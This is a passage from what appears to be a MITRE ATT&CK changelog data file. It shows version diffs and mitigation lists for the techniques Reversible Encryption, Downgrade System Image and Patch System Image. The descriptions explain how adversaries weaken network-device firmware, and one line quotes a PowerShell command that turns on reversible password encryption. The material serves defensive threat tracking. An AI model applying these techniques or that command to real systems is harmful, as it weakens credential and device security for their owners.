nowrap=\"nowrap\">le,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;implement&nbsp;and&nbsp;apply&nbsp;a&nbsp;FGPP&nbsp;to&nbsp;users&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;implement&nbsp;and&nbsp;apply&nbsp;a<span class=\"diff_add\">n</span>&nbsp;FGPP&nbsp;to&nbsp;users&nbsp;or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">groups&nbsp;if&nbsp;the&nbsp;Domain&nbsp;Functional&nbsp;Level&nbsp;is&nbsp;set&nbsp;to&nbsp;\"Windows&nbsp;Ser</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;groups&nbsp;if&nbsp;the&nbsp;Domain&nbsp;Functional&nbsp;Level&nbsp;is&nbsp;set&nbsp;to&nbsp;\"Windows&nbsp;Se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ver&nbsp;2008\"&nbsp;or&nbsp;higher.(Citation:&nbsp;dump_pwd_dcsync)&nbsp;In&nbsp;PowerShel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rver&nbsp;2008\"&nbsp;or&nbsp;higher.(Citation:&nbsp;dump_pwd_dcsync)&nbsp;In&nbsp;PowerShe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;make&nbsp;associated&nbsp;changes&nbsp;to&nbsp;user&nbsp;settings</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;make&nbsp;associated&nbsp;changes&nbsp;to&nbsp;user&nbsp;setting</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;using&nbsp;commands&nbsp;similar&nbsp;to&nbsp;&lt;code&gt;Set-ADUser&nbsp;-AllowReversible</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;using&nbsp;commands&nbsp;similar&nbsp;to&nbsp;&lt;code&gt;Set-ADUser&nbsp;-AllowReversibl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PasswordEncryption&nbsp;$true&lt;/code&gt;.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ePasswordEncryption&nbsp;$true&lt;/code&gt;.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0589: Detect Modification of Authentication Process via Reversible Encryption"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-19 19:53:10.576000+00:00",
                    "modified": "2026-11-04 01:10:45.743000+00:00",
                    "name": "Downgrade System Image",
                    "description": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.(Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older version may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1601/002",
                            "external_id": "T1601.002"
                        },
                        {
                            "source_name": "Cisco Synful Knock Evolution",
                            "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                            "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:10:45.743000+00:00\", \"old_value\": \"2026-05-12 15:12:00.726000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.(Citation: Cisco Synful Knock Evolution)\\n\\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\\n\\nDowngrading the system image to an older version may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  \", \"old_value\": \"Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\\n\\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\\n\\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\\n+Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.(Citation: Cisco Synful Knock Evolution)\\n \\n On embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\\n \\n-Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  \\n+Downgrading the system image to an older version may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to4__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to4__0\"><a href=\"#difflib_chg_to4__top\">t</a></td><td class=\"diff_header\" id=\"from4_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;install&nbsp;an&nbsp;older&nbsp;version&nbsp;of&nbsp;the&nbsp;operating&nbsp;sy</td><td class=\"diff_next\"><a href=\"#difflib_chg_to4__top\">t</a></td><td class=\"diff_header\" id=\"to4_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;install&nbsp;an&nbsp;older&nbsp;version&nbsp;of&nbsp;the&nbsp;operating&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;of&nbsp;a&nbsp;network&nbsp;device&nbsp;to&nbsp;weaken&nbsp;security.&nbsp;&nbsp;Older&nbsp;operatin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;of&nbsp;a&nbsp;network&nbsp;device&nbsp;to&nbsp;weaken&nbsp;security.&nbsp;&nbsp;Older&nbsp;operatin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;system&nbsp;versions&nbsp;on&nbsp;network&nbsp;devices&nbsp;often&nbsp;have&nbsp;weaker&nbsp;encry</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;system&nbsp;versions&nbsp;on&nbsp;network&nbsp;devices&nbsp;often&nbsp;have&nbsp;weaker&nbsp;encry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ption&nbsp;ciphers&nbsp;and,&nbsp;in&nbsp;general,&nbsp;fewer/less&nbsp;updated&nbsp;defensive&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ption&nbsp;ciphers&nbsp;and,&nbsp;in&nbsp;general,&nbsp;fewer/less&nbsp;updated&nbsp;defensive&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">features.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Synful&nbsp;Knock&nbsp;Evolution)&nbsp;&nbsp;On&nbsp;embed</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">features.(Citation:&nbsp;Cisco&nbsp;Synful&nbsp;Knock&nbsp;Evolution)&nbsp;&nbsp;On&nbsp;embedd</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ded&nbsp;devices,&nbsp;downgrading&nbsp;the&nbsp;version&nbsp;typically&nbsp;only&nbsp;requires</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;devices,&nbsp;downgrading&nbsp;the&nbsp;version&nbsp;typically&nbsp;only&nbsp;requires&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;replacing&nbsp;the&nbsp;operating&nbsp;system&nbsp;file&nbsp;in&nbsp;storage.&nbsp;&nbsp;With&nbsp;most&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">replacing&nbsp;the&nbsp;operating&nbsp;system&nbsp;file&nbsp;in&nbsp;storage.&nbsp;&nbsp;With&nbsp;most&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">embedded&nbsp;devices,&nbsp;this&nbsp;can&nbsp;be&nbsp;achieved&nbsp;by&nbsp;downloading&nbsp;a&nbsp;copy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mbedded&nbsp;devices,&nbsp;this&nbsp;can&nbsp;be&nbsp;achieved&nbsp;by&nbsp;downloading&nbsp;a&nbsp;copy&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;the&nbsp;desired&nbsp;version&nbsp;of&nbsp;the&nbsp;operating&nbsp;system&nbsp;file&nbsp;and&nbsp;rec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;the&nbsp;desired&nbsp;version&nbsp;of&nbsp;the&nbsp;operating&nbsp;system&nbsp;file&nbsp;and&nbsp;reco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onfiguring&nbsp;the&nbsp;device&nbsp;to&nbsp;boot&nbsp;from&nbsp;that&nbsp;file&nbsp;on&nbsp;next&nbsp;system&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nfiguring&nbsp;the&nbsp;device&nbsp;to&nbsp;boot&nbsp;from&nbsp;that&nbsp;file&nbsp;on&nbsp;next&nbsp;system&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">restart.&nbsp;&nbsp;The&nbsp;adversary&nbsp;could&nbsp;then&nbsp;restart&nbsp;the&nbsp;device&nbsp;to&nbsp;imp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">estart.&nbsp;&nbsp;The&nbsp;adversary&nbsp;could&nbsp;then&nbsp;restart&nbsp;the&nbsp;device&nbsp;to&nbsp;impl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lement&nbsp;the&nbsp;change&nbsp;immediately&nbsp;or&nbsp;they&nbsp;could&nbsp;wait&nbsp;until&nbsp;the&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ement&nbsp;the&nbsp;change&nbsp;immediately&nbsp;or&nbsp;they&nbsp;could&nbsp;wait&nbsp;until&nbsp;the&nbsp;ne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ext&nbsp;time&nbsp;the&nbsp;system&nbsp;restarts.&nbsp;&nbsp;Downgrading&nbsp;the&nbsp;system&nbsp;image&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xt&nbsp;time&nbsp;the&nbsp;system&nbsp;restarts.&nbsp;&nbsp;Downgrading&nbsp;the&nbsp;system&nbsp;image&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;an&nbsp;older&nbsp;version<span class=\"diff_chg\">s&nbsp;may&nbsp;allow&nbsp;an&nbsp;adversary&nbsp;to&nbsp;evade&nbsp;defense</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;an&nbsp;older&nbsp;version<span class=\"diff_chg\">&nbsp;may&nbsp;allow&nbsp;an&nbsp;adversary&nbsp;to&nbsp;evade&nbsp;defenses</span>&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">s</span>&nbsp;by&nbsp;enabling&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[Weaken&nbsp;Encryption](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;enabling&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[Weaken&nbsp;Encryption](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1600).&nbsp;&nbsp;Downgrading&nbsp;of&nbsp;a&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1600).&nbsp;&nbsp;Downgrading&nbsp;of&nbsp;a&nbsp;system&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;image&nbsp;can&nbsp;be&nbsp;done&nbsp;on&nbsp;its&nbsp;own,&nbsp;or&nbsp;it&nbsp;can&nbsp;be&nbsp;used&nbsp;in&nbsp;conjunct</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mage&nbsp;can&nbsp;be&nbsp;done&nbsp;on&nbsp;its&nbsp;own,&nbsp;or&nbsp;it&nbsp;can&nbsp;be&nbsp;used&nbsp;in&nbsp;conjunctio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;with&nbsp;[Patch&nbsp;System&nbsp;Image](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;with&nbsp;[Patch&nbsp;System&nbsp;Image](https://attack.mitre.org/techniq</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1601/001).&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1601/001).&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1043: Credential Access Protection",
                            "M1045: Code Signing",
                            "M1046: Boot Integrity"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0569: Detection Strategy for Downgrade System Image on Network Devices"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-19 19:49:24.129000+00:00",
                    "modified": "2026-11-04 01:10:20.711000+00:00",
                    "name": "Patch System Image",
                    "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)(Citation: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode)(Citation: Cisco IOS Forensics Developments)(Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1601/001",
                            "external_id": "T1601.001"
                        },
                        {
                            "source_name": "Killing IOS diversity myth",
                            "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
                            "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
                        },
                        {
                            "source_name": "Cisco IOS Forensics Developments",
                            "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
                            "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
                        },
                        {
                            "source_name": "Cisco IOS Shellcode",
                            "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
                            "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf"
                        },
                        {
                            "source_name": "Juniper Netscreen of the Dead",
                            "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
                            "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
                        },
                        {
                            "source_name": "Killing the myth of Cisco IOS rootkits",
                            "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
                            "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:10:20.711000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)(Citation: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode)(Citation: Cisco IOS Forensics Developments)(Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\\n\\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\\n\\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\\n\\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\\n\\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\\n\\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \\n\\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \\n\\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. \", \"old_value\": \"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\\n\\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\\n\\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\\n\\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\\n\\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\\n\\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \\n\\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \\n\\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\\n+Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)(Citation: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode)(Citation: Cisco IOS Forensics Developments)(Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be 